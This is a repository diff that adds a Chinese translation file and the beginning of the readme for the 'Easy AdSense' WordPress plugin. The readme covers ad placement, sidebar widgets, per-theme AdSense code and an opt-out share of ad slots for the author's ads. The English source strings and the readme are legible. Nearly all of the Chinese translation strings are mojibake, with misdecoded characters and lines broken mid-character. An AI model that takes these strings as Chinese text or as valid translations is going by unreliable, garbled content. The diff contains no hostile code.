+#: admin.php:99
+#: admin.php:117
+#: admin.php:135
+#: admin.php:197
+#: admin.php:216
+msgid "Align Left"
+msgstr "å·Šå¯¹éœ"
+
+#: admin.php:101
+#: admin.php:119
+#: admin.php:137
+#: admin.php:199
+#: admin.php:218
+msgid "Center"
+msgstr "å±
+äž­"
+
+#: admin.php:103
+#: admin.php:121
+#: admin.php:139
+#: admin.php:201
+#: admin.php:220
+msgid "Align Right"
+msgstr "å³å¯¹éœ"
+
+#: admin.php:105
+msgid "Suppress Lead-in Ad"
+msgstr "çŠæ­¢ Lead-in å¹¿å"
+
+#: admin.php:110
+msgid "Mid-Post AdSense Text"
+msgstr "å±
+äž­ç AdSense æå­"
+
+#: admin.php:111
+msgid "(Appears near the middle of the post)"
+msgstr "ïŒåšæ¥å¿çé è¿äž­éŽäœçœ®æŸç€ºïŒ"
+
+#: admin.php:123
+msgid "Suppress Mid-post Ad"
+msgstr "çŠæ­¢å±
+äž­å¹¿å"
+
+#: admin.php:128
+msgid "Post Lead-out AdSense Text"
+msgstr "æ¥å¿ Lead-out AdSense æå­"
+
+#: admin.php:129
+msgid "(Appears near the end of the post)"
+msgstr "ïŒæŸç€ºåšæ¥å¿ç»å°Ÿå€ïŒ"
+
+#: admin.php:141
+msgid "Suppress Lead-out Ad"
+msgstr "çŠæ­¢ Lead-out å¹¿å"
+
+#: admin.php:149
+msgid "Option on Google Policy"
+msgstr "Google ç§æéé¡¹"
+
+#: admin.php:150
+msgid "(Google policy allows no more than three ad blocks and three link units per page)"
+msgstr "ïŒè°·æ­æ¿ç­å
+è®žæ¯äžªé¡µé¢äžè¶
+è¿3å
+å®¹å¹¿åå3äžªéŸæ¥åå
+å¹¿åïŒ"
+
+#: admin.php:153
+msgid "Three ad blocks (including the side bar widget, if enabled)."
+msgstr "3äžªå¹¿å(å
+æ¬äŸ§æ å°å·¥å
+·,åŠææ¿æŽ»)ã"
+
+#: admin.php:155
+msgid "Two ad blocks."
+msgstr "äž€äžªå¹¿ååºåã"
+
+#: admin.php:157
+msgid "One ad block."
+msgstr "äžäžªå¹¿ååºåã"
+
+#: admin.php:159
+msgid "No ad blocks in posts."
+msgstr "æ²¡æå¹¿ååºååšæ¥å¿äž­ã"
+
+#: admin.php:161
+msgid "Any number of ad blocks (At your own risk!)"
+msgstr "ä»»äœæ°éçå¹¿ååºå(èªå·±æ¿æ
+é£é©!)"
+
+#: admin.php:163
+msgid "Number of Link Units widgets (&le; 3) [Google serves only three]:"
+msgstr "éŸæ¥åå
+æ°é (&le; 3) [Google æå¡åªæäžäžª]:"
+
+#: admin.php:165
+#, php-format
+msgid "Support %s by Donating Ad Space"
+msgstr "æ¯æ %s éè¿å¹¿åç©ºéŽ"
+
+#: admin.php:166
+msgid "Percentage of ad slots to share [Default: 5%]:"
+msgstr "å¹¿åççŸåæ¯æ¥åäº«(é»è®€:5%)ã"
+
+#: admin.php:168
+msgid "Suppress AdSense Ad Blocks on:"
+msgstr "çŠæ­¢ AdSense å¹¿åååšïŒ"
+
+#: admin.php:169
+msgid "Pages"
+msgstr "é¡µé¢"
+
+#: admin.php:171
+msgid "Home Page"
+msgstr "äž»é¡µ"
+
+#: admin.php:173
+msgid "Front Page"
+msgstr "éŠé¡µ"
+
+#: admin.php:175
+msgid "Category Pages"
+msgstr "åç±»é¡µ"
+
+#: admin.php:177
+msgid "Tag Pages"
+msgstr "æ ç­Ÿé¡µ"
+
+#: admin.php:179
+msgid "Archive Pages"
+msgstr "åœæ¡£é¡µ"
+
+#: admin.php:190
+msgid "AdSense Widget Text"
+msgstr "AdSense å°å·¥å
+·ææ¬"
+
+#: admin.php:191
+msgid "(Appears in the Sidebar as a Widget)"
+msgstr "(äœäžºäžäžªå°å·¥å
+·åºç°åšäŸ§èŸ¹æ )"
+
+#: admin.php:203
+msgid "Suppress Widget"
+msgstr "çŠæ­¢å°å·¥å
+·"
+
+#: admin.php:204
+msgid "Widget Title:"
+msgstr "å°å·¥å
+·æ é¢ïŒ"
+
+#: admin.php:209
+msgid "AdSense Link-Units Text"
+msgstr "AdSense éŸæ¥åå
+æå­"
+
+#: admin.php:210
+msgid "(Appears in the Sidebar as  Widgets)"
+msgstr "(ä»¥å°å·¥å
+·åœ¢åŒåºç°åšèŸ¹æ )"
+
+#: admin.php:222
+msgid "Suppress Link Units"
+msgstr "çŠæ­¢éŸæ¥åå
+"
+
+#: admin.php:223
+msgid "Link Unit Title:"
+msgstr "éŸæ¥åå
+æ é¢ïŒ"
+
+#: admin.php:228
+msgid "Google Search Widget"
+msgstr "Google æçŽ¢å°å·¥å
+·"
+
+#: admin.php:229
+msgid "(Adds a Google Search Box to your sidebar)"
+msgstr "(æ·»å äžäžªGoogle æçŽ¢æ¡åšæšçèŸ¹æ )"
+
+#: admin.php:232
+msgid "Search Title"
+msgstr "æçŽ¢æ é¢"
+
+#: admin.php:233
+msgid "(Title of the Google Search Widget)"
+msgstr "(Google æçŽ¢å°å·¥å
+·æ é¢)"
+
+#: admin.php:239
+msgid "Suppress Search Box"
+msgstr "çŠæ­¢æçŽ¢æ¡"
+
+#: admin.php:241
+msgid "Custom Title:"
+msgstr "èªå®ä¹æ é¢ïŒ"
+
+#: admin.php:251
+msgid "Other Options"
+msgstr "å
+¶å®éé¡¹"
+
+#: admin.php:253
+msgid "Allow ad blocks in feeds. [Please report any problems with this option.]"
+msgstr "å
+è®žåšfeedsäž­åºç°å¹¿ååºåã [è¯·æ¥åæå
+³äºè¿äžªéé¡¹çé®é¢ã]"
+
+#: admin.php:255
+msgid "Prioritize sidebar widget. (Always shows the widget, if enabled.)"
+msgstr "äŒå
+èèèŸ¹æ å°å·¥å
+·ã ïŒæ»æ¯æŸç€ºå°å·¥å
+·ïŒåŠæå¯çšã ïŒ"
+
+#: admin.php:257
+msgid "Force mid-text ad (if enabled) even in short posts."
+msgstr "å±
+äž­çæå­å¹¿åïŒåŠæå·²å¯çšïŒ ïŒå³äœ¿åšåŸç­çæ¥å¿äž­ã"
+
+#: admin.php:258
+msgid "Google Policy says that you may not direct user attention to the ads via arrows or other graphical gimmicks. Please convince yourself that showing a mouseover decoration does not violate this Google statement before enabling this option."
+msgstr "è°·æ­çè§å®è¯Ž,äœ äžå¯ä»¥äœ¿çšç®­å€Žæå
+¶ä»åŸåœ¢çè±æåœ±åçšæ·æ³šæåçå¹¿åãè¯·è¯Žæèªå·±,æŸç€ºäžäžªæ¬åè£
+é¥°å¹¶äžè¿åæ¬è°·æ­å£°æä¹åå¯çšè¿äžªéé¡¹ã"
+
+#: admin.php:259
+msgid "Show a border around the ads on mouseover."
+msgstr "éŒ æ æ¬åæ¶æŸç€ºäžäžªèŸ¹æ¡ã"
+
+#: admin.php:263
+msgid "Widget?"
+msgstr "å°å·¥å
+·ïŒ"
+
+#: admin.php:265
+msgid "Link Units?"
+msgstr "éŸæ¥åå
+ïŒ"
+
+#: admin.php:267
+msgid "Link-backs to"
+msgstr "éŸæ¥åºåå°"
+
+#: admin.php:268
+msgid "(Consider showing at least one link.)"
+msgstr "ïŒå»ºè®®è³å°æŸç€ºäžäžªéŸæ¥ãïŒ"
+
+#: admin.php:270
+msgid "Show a link under every ad block."
+msgstr "åšæ¯äžäžªå¹¿ååºåæŸç€ºäžäžªéŸæ¥ã"
+
+#: admin.php:272
+msgid "Show the link only under the first ad block."
+msgstr "æŸç€ºéŸæ¥åªåšç¬¬äžäžªå¹¿ååºåã"
+
+#: admin.php:274
+msgid "Show the link at the bottom of your blog page."
+msgstr "åšæšçåå®¢åºéšæŸç€ºäžäžªéŸæ¥ã"
+
+#: admin.php:276
+msgid "Show no links to my blog anywhere (Are you sure?!)"
+msgstr "äžæŸç€ºä»»äœéŸæ¥åšæçåå®¢ãïŒäœ ç¡®å®åïŒ ïŒïŒ"
+
+#: admin.php:286
+msgid "Save Changes"
+msgstr "ä¿å­ä¿®æ¹"
+
+#: admin.php:286
+msgid "Save the changes as specified above"
+msgstr "ä¿å­äžè¿°ççžå
+³å
+å®¹"
+
+#: admin.php:287
+msgid "Reset Options"
+msgstr "éçœ®éé¡¹"
+
+#: admin.php:287
+#: admin.php:368
+#: admin.php:372
+msgid "Discard all your changes and load defaults. (Are you quite sure?)"
+msgstr "è¿å°æŸåŒææçä¿®æ¹å¹¶äžè£
+å
+¥åå§è®Ÿçœ®ã ïŒæšè¯å®åïŒ ïŒ"
+
+#: admin.php:288
+msgid "Clean Database"
+msgstr "æž
+é€æ°æ®åº"
+
+#: admin.php:289
+msgid "Uninstall"
+msgstr "åžèœœ"
+
+#: admin.php:296
+msgid "Generate AdSense code (from http://adsense.google.com &rarr; AdSense Setup &rarr; Get Ads)."
+msgstr "çæ AdSense ä»£ç  (from http://adsense.google.com &rarr; AdSense Setup &rarr; Get Ads)."
+
+#: admin.php:301
+msgid "Cut and paste the AdSense code into the boxes below, deleting the existing text."
+msgstr "å€å¶å¹¶ç²èŽŽAdSenseä»£ç å°äžé¢çææ¬æ¡å
+,å é€ç°æçææ¬ã"
+
+#: admin.php:306
+msgid "Decide how to align and show the code in your blog posts."
+msgstr "å³å®åšæšçåå®¢æ¥å¿äž­åŠäœè°æŽåæŸç€ºä»£ç ã"
+
+#: admin.php:310
+msgid "Take a look at the Google policy option, and other options. The defaults should work."
+msgstr "ççè°·æ­çæ¿ç­éæ©ïŒåå
+¶ä»éé¡¹ãé»è®€åºå·¥äœã"
+
+#: admin.php:315
+#, php-format
+msgid "If you want to use the widgets, drag and drop them at %s Appearance (or Design) &rarr; Widgets %s"
+msgstr "åŠææšèŠäœ¿çšå°å·¥å
+·ïŒè¯·åšå€è§è®Ÿçœ®äž­ææŸå®ä»¬åš %s äž»é¢ïŒæè®Ÿè®¡ïŒ&rarr; å°å·¥å
+· %s"
+
+#: admin.php:320
+msgid "Save the options, and you are done!"
+msgstr "ä¿å­éé¡¹ïŒæšå°å®æè®Ÿçœ®ïŒ"
+
+#: admin.php:326
+msgid ""
+"If you want to suppress AdSense in a particular post or page, give the <b><em>comment </em></b> \"&lt;!--noadsense--&gt;\" somewhere in its text.\n"
+"<br />\n"
+"<br />\n"
+"Or, insert a <b><em>Custom Field</em></b> with a <b>key</b> \"adsense\" and give it a <b>value</b> \"no\".<br />\n"
+"<br />\n"
+"Other <b><em>Custom Fields</em></b> you can use to fine-tune how a post or page displays AdSense blocks:<br />\n"
+"<b>Keys</b>:<br />\n"
+"adsense-top,\n"
+"adsense-middle,\n"
+"adsense-bottom,\n"
+"adsense-widget,\n"
+"adsense-search<br />\n"
+"<b>Values</b>:<br />\n"
+"left,\n"
+"right,\n"
+"center,\n"
+"no"
+msgstr ""
+"åŠæäœ æ³çŠæ­¢ AdSense åšæäžç¯æ¥å¿æé¡µé¢, è¯·æå
+¥åŠäžä»£ç   \"&lt;!--noadsense--&gt;\" åšæ¥å¿æé¡µé¢çä»£ç äž­.\r\n"
+"<br />\r\n"
+"<br />\r\n"
+"æè
+ïŒæå
+¥äžäžª<b><em>èªå®ä¹ä»£ç </em></b> with a <b>key</b> \"adsense\" å¹¶äžè®Ÿçœ® <b>value</b> äžº\"no\".<br />\r\n"
+"<br />\r\n"
+"å
+¶å® <b><em>èªå®ä¹ä»£ç </em></b> äœ å¯ä»¥çšå®æ¥åŸ®è°æä¹åšäžç¯æç« æè
+é¡µé¢äž­æŸç€ºAdSenseä»£ç ã<br />\r\n"
+"<b>Keys</b>:<br />\r\n"
+"adsense-top,\r\n"
+"adsense-middle,\r\n"
+"adsense-bottom,\r\n"
+"adsense-widget,\r\n"
+"adsense-search<br />\r\n"
+"<b>Values</b>:<br />\r\n"
+"left,\r\n"
+"right,\r\n"
+"center,\r\n"
+"no"
+
+#: admin.php:346
+msgid ""
+"<em>Easy AdSense</em> gives you widgets to embelish your sidebars. You can configure them here (on the right hand side of the Options table below) and place them on your page using <a href=\"widgets.php\"> Appearance (or Design) &rarr; Widgets</a>.\n"
+"<br />\n"
+"<br />\n"
+"1. <b>AdSense Widget</b> is an ad block widget that you can place any where on the sidebar. Typically, you would put a skyscraper block (160x600px, for instance) on your sidebar, but you can put anything -- not necessarily AdSense code.<br />\n"
+"<br />\n"
+"2. <b>AdSense Link Units</b>, if enabled, give you multiple widgets to put <a href=\"https://www.google.com/adsense/support/bin/answer.py?hl=en&amp;answer=15817\" target=\"_blank\">link units</a> on your sidebars. You can display three of them according to Google AdSense policy, and you can configure the number of widgets you need.<br /><br />\n"
+"3. <b>Google Search Widget</b> gives you another widget to place a <a href=\"https://www.google.com/adsense/support/bin/answer.py?hl=en&amp;answer=17960\" target=\"_blank\">custom AdSense search box</a> on your sidebar. You can customize the look of the search box and its title by configuring them on this page."
+msgstr ""
+"<em>Easy AdSense</em> äžºæšæ·»å äžäžªå°å·¥å
+·å°äŸ§èŸ¹æ ã æšå¯ä»¥è®Ÿå®åšè¿éïŒå³èŸ¹çéé¡¹è§äžè¡šïŒ ïŒå¹¶æä»ä»¬æŸåšæšççœé¡µäœ¿çš <a href=\"widgets.php\"> å€è§ (æè®Ÿè®¡) &rarr; å°å·¥å
+·</a>.\n"
+"<br />\n"
+"<br />\n"
+"1. <b>AdSense å°å·¥å
+·</b> æ¯äžäžªå¹¿åå°å·¥å
+·ïŒæšå¯ä»¥æŸåšäŸ§èŸ¹æ äžä»»äœå°æ¹ãéåžžïŒå°æ©å€©å€§æ¥ŒïŒ 160x600px ïŒäŸåŠïŒåšæšçå°å·¥å
+·æ ïŒäœæšå¯ä»¥æä»£ç åµå
+¥-å¹¶äžäžå®æ¯AdSenseä»£ç .<br />\n"
+"<br />\n"
+"2. <b>AdSense éŸæ¥åå
+</b>, åŠæå¯çš, è®©æšæå€äžªå°å·¥å
+· <a href=\"https://www.google.com/adsense/support/bin/answer.py?hl=en&amp;answer=15817\" target=\"_blank\">éŸæ¥åå
+</a> åºçšåšæšçèŸ¹æ ã æ ¹æ®è°·æ­çAdSenseæ¿ç­,æšå¯ä»¥æŸç€ºäžäžªïŒæ ¹æ®æšçéèŠé
+çœ®å°å·¥å
+·çæ°éã<br /><br />\n"
+"3. <b>Google æçŽ¢å°å·¥å
+·</b> äžºæšæäŸåŠäžç§å·¥å
+·ïŒä»¥å»ºç«äžäžª <a href=\"https://www.google.com/adsense/support/bin/answer.py?hl=en&amp;answer=17960\" target=\"_blank\">èªå®ä¹Adsense æçŽ¢æ¡</a> åšäŸ§èŸ¹æ ã æšå¯ä»¥èªå®ä¹æçŽ¢æ¡çå€è§ååç§°åšæ­€çœé¡µäžã"
+
+#: admin.php:357
+#, php-format
+msgid "Starting version %3.1f, <em>%s</em> has an ad space sharing option, if you would like to support its future development. It gives you an option to share a small fraction of your ad slots (default is 5%%) to show the author's ads. Use the option (in \"Support %s by Donating Ad Space\") below to change the value, or turn it off (by entering 0%%)."
+msgstr "èµ·å§çæ¬ %3.1f, <em>%s</em> æäžäžªå¹¿åç©ºéŽå
+±äº«éé¡¹,åŠæäœ æ¿ææ¯æå®çæªæ¥åå±ãå®ç»äœ äžäžªéé¡¹,å¯ä»¥åäº«çäžå°éšå,äœ çå¹¿åæ¶æ®µ (é»è®€ 5%%) æŸç€ºäœè
+çå¹¿åãäœ¿çšè¿äžªéé¡¹ (åšâæ¯æ %s éè¿å¹¿åç©ºéŽâ)ïŒäžé¢æ¥æ¹åå®åŒ,æè
+æå®å
+³æ (éè¿è®Ÿçœ® 0%%)."
+
+#: admin.php:367
+msgid "This <b>Reset Options</b> button discards all your changes and loads the default options. This is your only warning!"
+msgstr "è¿ç<b>éçœ®éé¡¹</b>æé®å°æåŒæææŽæ¹å¹¶å èœœé»è®€éé¡¹ãè¿æ¯å¯äžå¯¹æšçè­ŠåïŒ"
+
+#: admin.php:371
+msgid "The <b>Database Cleanup</b> button discards all your AdSense settings you have saved so far for <b>all</b> the themes, including the current one. Use it only if you know that you won't be using these themes. Please be careful with all database operations -- keep a backup."
+msgstr "åš<b>æ°æ®åºæž
+ç</b> æé®ïŒæåŒææçAdSenseè®Ÿçœ®æšåšå­è¿ä»äžº<b>å
+šéš</b>çäž»é¢ïŒå
+æ¬åšç®åçãäœ¿çšå®ïŒåªæäœ ç¥éäœ äžäŒäœ¿çšè¿äºäž»é¢ãè¯·æ³šææææ°æ®åºæäœ-ä¿å­å€ä»œã"
+
+#: admin.php:375
+#, php-format
+msgid "The <b>Uninstall</b> button really kills %s after cleaning up all the options it wrote in your database. This is your only warning! Please be careful with all database operations -- keep a backup."
+msgstr "è¿äžª<b>åžèœœ</b> æé®å°äž­æ­¢ %s å¹¶äžæž
+çææçéé¡¹åšäœ çæ°æ®åºãè¿æ¯æšå¯äžçè­ŠåïŒè¯·æ³šææææ°æ®åºæäœ-ä¿å­å€ä»œã"
+
+#: admin.php:376
+msgid "Kill this plugin. (Are you quite sure?)"
+msgstr "äž­æ­¢è¿äžªæä»¶ã(äœ è¯å®å?)"
+
+#: admin.php:384
+msgid "Please report any problems. And share your thoughts and comments."
+msgstr "è¯·æ¥åä»»äœé®é¢ãåäº«äœ çæ³æ³åæè§ã"
+
+#: admin.php:384
+msgid "Post it in the WordPress forum"
+msgstr "åš WordPress è®ºåäžåè¡š"
+
+#: admin.php:384
+msgid "[WordPress Forum]"
+msgstr "[WordPress è®ºå]"
+
+#: admin.php:384
+msgid "Or"
+msgstr "æè
+"
+
+#: admin.php:384
+msgid "Contact the plugin author through email"
+msgstr "éè¿çµå­é®ä»¶èç³»æä»¶çäœè
+"
+
+#: admin.php:384
+msgid "[Email Author]"
+msgstr "[Email äœè
+]"
+
+#: admin.php:391
+msgid "puts a tiny link below the (first) ad unit it displays like this:"
+msgstr "æäžäžªåŸ®å°çéŸæ¥ä»¥äž(ç¬¬äž)å¹¿ååå
+è¡šç°åºè¿æ ·çå
+å®¹:"
+
+#: admin.php:409
+msgid "Consider leaving it unchanged. If you must suppress it, please use the Link-back options above."
+msgstr "èèçŠ»åŒå®ä¿æäžåãåŠæäœ èŠçŠæ­¢å®,è¯·äœ¿çšéŸæ¥åºåéé¡¹ã"
+
+#: admin.php:413
+msgid "Check out my other plugin efforts:"
+msgstr "ççæçå
+¶ä»æä»¶ã"
+
+#: admin.php:416
+msgid "To modify the color scheme of your themes with no CSS/Stylesheet editing."
+msgstr "ä¿®æ¹äœ çäž»é¢çé
+è²æ¹æ¡åŠææ²¡æCSSæ ·åŒè¡š/æ ·åŒçŒèŸã"
+
+#: admin.php:419
+msgid "To translate LaTeX formulas like this [math](a+b)^2 = a^2 + b^2 + 2ab[/math] into this:"
+msgstr "ç¿»è¯è¿æ ·çå
+¬åŒ [math](a+b)^2 = a^2 + b^2 + 2ab[/math] å°è¿äžª:"
+
+#: admin.php:422
+msgid "My lean and mean AdSense plugin. No mess, no fuss."
+msgstr "æç²Ÿç®çåŠäžäžªAdSenseæä»¶ã"
+
+#: admin.php:432
+msgid "Credits"
+msgstr "åè°¢"
+
+#: admin.php:436
+#, php-format
+msgid "%s uses the excellent Javascript/DHTML tooltips by %s"
+msgstr "%s éçšäŒç§Javascript / DHTMLæç€º %s"
+
+#: admin.php:477
+msgid "If you find yourself making a lot of money using this plugin, consider making a donation."
+msgstr "åŠæäœ åç°èªå·±çšè¿äžªæä»¶èµäºåŸå€é±ïŒèèæå©ã"
+
+#: easy-adsenser.php:205
+msgid "Settings Updated."
+msgstr "è®Ÿçœ®æŽæ°ã"
+
+#: easy-adsenser.php:212
+msgid "Ok, all your settings have been discarded!"
+msgstr "å¥œäº,äœ ææçè®Ÿçœ®å·²ç»äž¢åŒ!"
+
+#: easy-adsenser.php:236
+msgid "Database has been cleaned. All your options for this plugin (for all themes) have been removed."
+msgstr "æ°æ®åºå·²è¢«æž
+é€ãäœ ææçéé¡¹éœäžºè¿äžªæä»¶(äž»é¢)å·²ç»è¢«ç§»é€ã"
+
+#: easy-adsenser.php:242
+msgid "This plugin has been deactivated."
+msgstr "è¿äžªæä»¶å·²ç»åæ­¢ã"
+
+#: easy-adsenser.php:243
+msgid "Refresh"
+msgstr "å·æ°"
+
+#: easy-adsenser.php:253
+msgid ""
+"Error locating the admin page!\n"
+"Ensure admin.php exists, or reinstall the plugin."
+msgstr ""
+"å®äœç®¡çåé¡µéè¯¯! \n"
+" ç¡®ä¿admin.phpå­åš,æéæ°å®è£
+æä»¶ã"
+
+#: easy-adsenser.php:282
+msgid "Settings"
+msgstr "è®Ÿçœ®"
+
+#: easy-adsenser.php:490
+msgid "Sponsored Links"
+msgstr "èµå©åéŸæ¥"
+
+#: easy-adsenser.php:578
+msgid "Easy AdSense: Show a Google AdSense block in your sidebar as a widget"
+msgstr "Easy AdSenser: åšæšçèŸ¹æ ä»¥å°å·¥å
+·åœ¢åŒæŸç€ºè°·æ­ AdSense"
+
+#: easy-adsenser.php:584
+msgid "Easy AdSense: Show a Google Search Box in your sidebar as a widget"
+msgstr "Easy AdSenser:åšæšçèŸ¹æ ä»¥å°å·¥å
+·åœ¢åŒæŸç€ºäžäžª Google æçŽ¢æ¡"
+
+#: easy-adsenser.php:602
+msgid "Easy AdSense: Show a Google Links Unit in your sidebar as a widget"
+msgstr "Easy AdSenser: åšèŸ¹æ ä»¥å°å·¥å
+·åœ¢åŒæŸç€ºGoogle éŸæ¥åå
+"
+
+#: easy-adsenser.php:648
+msgid "Show a Google AdSense block in your sidebar as a widget"
+msgstr "åšæšçèŸ¹æ ä»¥å°å·¥å
+·åœ¢åŒæŸç€ºè°·æ­AdSenseå¹¿åå"
+
+#: easy-adsenser.php:678
+msgid "Show a Google Search box in your sidebar as a widget"
+msgstr "EåšæšçèŸ¹æ ä»¥å°å·¥å
+·åœ¢åŒæŸç€ºäžäžªGoogle æçŽ¢æ¡"
+
+#: easy-adsenser.php:708
+msgid "Show a Google Link Unit in your sidebar as a widget"
+msgstr "åšèŸ¹æ ä»¥å°å·¥å
+·åœ¢åŒæŸç€ºGoogle éŸæ¥åå
+"
+
+#~ msgid "Would you like to support this plugin effort?"
+#~ msgstr "äœ æ¿ææ¯æè¿äžªæä»¶çåŒåå?"
+#~ msgid " or "
+#~ msgstr "æè
+"
+#~ msgid "consider buying my book"
+#~ msgstr "èèä¹°æçä¹Š"
+#~ msgid "Show ads only in posts (and not on pages)."
+#~ msgstr "åªåšæ¥å¿äž­æŸç€ºå¹¿å(èäžæ¯é¡µé¢)ã"
+#~ msgid "Support"
+#~ msgstr "æ¯æ"
+#~ msgid ""
+#~ "If you would like to support my efforts, please visit (and link-back to) "
+#~ "my blog"
+#~ msgstr "åŠæäœ æ¿ææ¯ææçåªå,è¯·è®¿é®ïŒææ·»å äžäžªéŸæ¥å°ïŒæçåå®¢"
+#~ msgid "If you like the content and style of my blog,"
+#~ msgstr "åŠææšåæ¬¢çåå®¢çå
+å®¹åé£æ ŒïŒ"
+#~ msgid "Support through direct donation."
+#~ msgstr "éè¿çŽæ¥ææ¬Ÿæ¯æã"
+#~ msgid "Future Plans"
+#~ msgstr "æªæ¥çè®¡å"
+#~ msgid ""
+#~ "Make the Google Link Units widget multi-insertable. [In version 2.0, the "
+#~ "Link Units widgets are repeated because I cannot figure out how to do "
+#~ "multi-insertable widgets in a neat way.]"
+#~ msgstr ""
+#~ "è°·æ­çè¿æ¥åå
+ç»ä»¶multi-insertableã[åš2.0çæ¬,è¿æ¥åå
+ç»ä»¶,å äžºæäžèœéå€"
+#~ "ææž
+æ¥æä¹multi-insertableéšä»¶åšäžäžªæŽæŽçæ¹åŒã)"
+#~ msgid "Enable ad blocks in category view (User request)."
+#~ msgstr "äœ¿å¹¿ååšç±»å«äž­æŸç€º(çšæ·çèŠæ±)ã"
+#~ msgid "Release translated versions of the plugin. (Need your help!)"
+#~ msgstr "ç¿»è¯ååžççæ¬æä»¶ã(éèŠäœ çåž®å©!)"
+#~ msgid "Easy AdSenser"
+#~ msgstr "Easy AdSenser"
+#~ msgid "http://www.thulasidas.com/adsense"
+#~ msgstr "http://www.thulasidas.com/adsense"
+#~ msgid ""
+#~ "Easiest way to show AdSense and make money from your blog. Configure it "
+#~ "at <a href=\"options-general.php?page=easy-adsenser.php\">Settings &rarr; "
+#~ "Easy AdSenser</a>, or use the \"Settings\" link on the right."
+#~ msgstr ""
+#~ "éåžžç®åçæ¹åŒåšæšçåå®¢äžæŸç€ºAdSenseå¹¿åäžºæšèµé±ïŒè®Ÿçœ®éé¡¹ <a href="
+#~ "\"options-general.php?page=easy-adsenser.php\">è®Ÿçœ® &rarr; Easy AdSenser</"
+#~ "a>, or use the \"Settings\" link on the right."
+#~ msgid "Manoj Thulasidas"
+#~ msgstr "Manoj Thulasidas"
+#~ msgid "http://www.thulasidas.com"
+#~ msgstr "http://www.thulasidas.com"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/readme.txt	(revision 44)
@@ -0,0 +1,171 @@
+=== Easy AdSense ===
+Contributors: manojtd
+Donate link: http://www.Thulasidas.com/buy
+Tags: adsense, ad, ads, advertising, google
+Requires at least: 2.6
+Tested up to: 2.8.*
+Stable tag: 2.6
+
+Easy AdSense manages all aspects of Google AdSense for your blog: insert ads into posts and sidebar, and add a Google Search box. Easy and complete!
+
+== Description ==
+
+*Easy AdSense* provides a very easy way to generate revenue from your blog using Google AdSense. With its full set of features, *Easy AdSense* is perhaps the first plugin to give you a complete solution for everything AdSense-related.
+
+= Features =
+
+1. Remembers AdSense code and your options by theme, so that you don't have to re-enter them if you play with multiple themes. [This feature provides a solution to Google's unwillingness to let you modify and customize the AdSense code -- you just store all the code variants in your blog database.]
+1. Enforces the Google policy of not more than three ad blocks per page.
+1. Sidebar Widgets:
+* For AdSense for content with custom title.
+* For search with customizable text or image title.
+* For Link Units.
+1. Rich set of Options:
+* To put Link Units or Ad Blocks in header or footer.
+* To suppress ads on all pages (as opposed to posts), or on the front/home page.
+* To add a customizable mouse-over border decoration on ad blocks.
+1. Control over the positioning and display of AdSense blocks in each post or page.
+1. Simplest possible configuration interface -- nothing more than cutting and pasting AdSense code, and with sensible defaults for the few options present, all with clear instructions.
+1. Internationalized (multiple languages supported).
+
+If you feel that these features are a bit too much, consider my lean and mean AdSense plugin [AdSense Now!](http://wordpress.org/extend/plugins/adsense-now/ "The simplest possible way to AdSense enable your blog")
+
+= New Feature [in 2.60] =
+
+Translation tool (called *Easy Translator*) for internationalization. English (en_US) users will see no difference, and have no reason to update.
+
+*Easy Translator* (very soon to become a stand-alone plugin) picks up translatable strings (in _[_e]() functions) in my AdSense plugins and presents them and their existing translations (from the MO object of the current text-domain) in a user editable form. It can generate a valid PO file that can be emailed to the plugin author, streamlining the translator's work. (Requires WordPress 2.8+.)
+
+PS: You'll need a [Google AdSense Account](http://adsense.google.com/).
+
+If you like *Easy AdSense*, you may want to check out my other plugins: [Theme Tweaker](http://wordpress.org/extend/plugins/theme-tweaker/ "To tweak the colors in your theme with no CSS/PHP editing") and [Easy LaTeX](http://wordpress.org/extend/plugins/easy-latex/ "To display mathematical equations in your blog using LaTeX").
+
+== Screenshots ==
+
+1. How to set the options for *Easy AdSense*
+2. *Easy AdSense* in action - on my own blog.
+
+== Installation ==
+
+1. Upload the *Easy AdSense* plugin (the whole easy-adsenser folder) to the '/wp-content/plugins/' directory.
+2. Activate the plugin through the 'Plugins' menu in WordPress.
+3. Go to the Setup -> Easy AdSense and enter your AdSense code and options.
+4. Go to Themes -> Widgets to add widgets to your side bar(s).
+
+= Tips =
+
+Although the *Easy AdSense* plugin is designed to handle Google AdSense efficiently, there is nothing preventing you from using the text boxes to place any other kind of text in your blog posts and pages. In particular, you can use ad text from other providers, especially in the header and footer.
+
+== Frequently Asked Questions ==
+
+= How can I control the appearance of the adsense using CSS? =
+
+All `<div>`s that *Easy AdSense* creates have the class attribute `adsense`. Furthermore, they have attributes like `adsense-leadin`, `adsense-midtext`, `adsense-leadout`, `adsense-widget` and `adsense-lu` depending on the type. You can set the style for these classes in your theme `style.css` to control their appearance.
+
+= Ad Space sharing? =
+
+There is an ad-space sharing scheme implemented starting version 2.5 of *Easy AdSense*, if you would like to support its future development. It gives you an option to share a small fraction of your ad slots to show the author's ads. You can configure this fraction - the default is 5%. (Five percent means my ad would appear roughly once in twenty of your ads). I have extra code to ensure that my ads don't appear more than once on the same page.
+
+You can turn off this ad space sharing by entering 0% (starting version 2.57).
+
+= Why does my AdSense code disappear when I switch to a new theme? =
+
+One of my motivations in writing *Easy AdSense* was the fact that every time I switched between themes, I had to regenerate the AdSense code to match my new colors. Since I often switched back to the original theme (when I would have to regenerate the code again), I wanted to keep the AdSense code *per theme* in my database. Now, with *Easy AdSense* activated, I can switch among my themes without worrying about the AdSense color mismatch. This is what I meant when I said, "Remembers AdSense code and your options by theme, so that you don't have to re-enter them if you play with multiple themes. [This feature provides a solution to Google's unwillingness to let you modify and customize the AdSense code -- you just store all the code variants in your blog database.]" as the most important feature of *Easy AdSense*.
+
+But this unfortunately means that you do have to set the code *once* whenever you switch to a new theme. I suppose I could have checked your database for some other AdSense code and presented it as defaults, but such complex logic usually results in less robust programs, and pain and suffering down the road.
+
+= Can I control how the ad blocks are formatted in each page? =
+
+Yes! Now, in V2.1+, you more options [through **custom fields**] to control ad blocks in individual posts/pages. Add custom fields with keys like **adsense-top, adsense-middle, adsense-bottom, adsense-widget, adsense-search** and with values like **left, right, center** or **no** to have control how the ad blocks show up in each post or page. The value "**no**" suppresses all AdSense ad blocks in the post or page.
+
+= I find this *easy* plugin too complex with too many options. Any alternatives? =
+
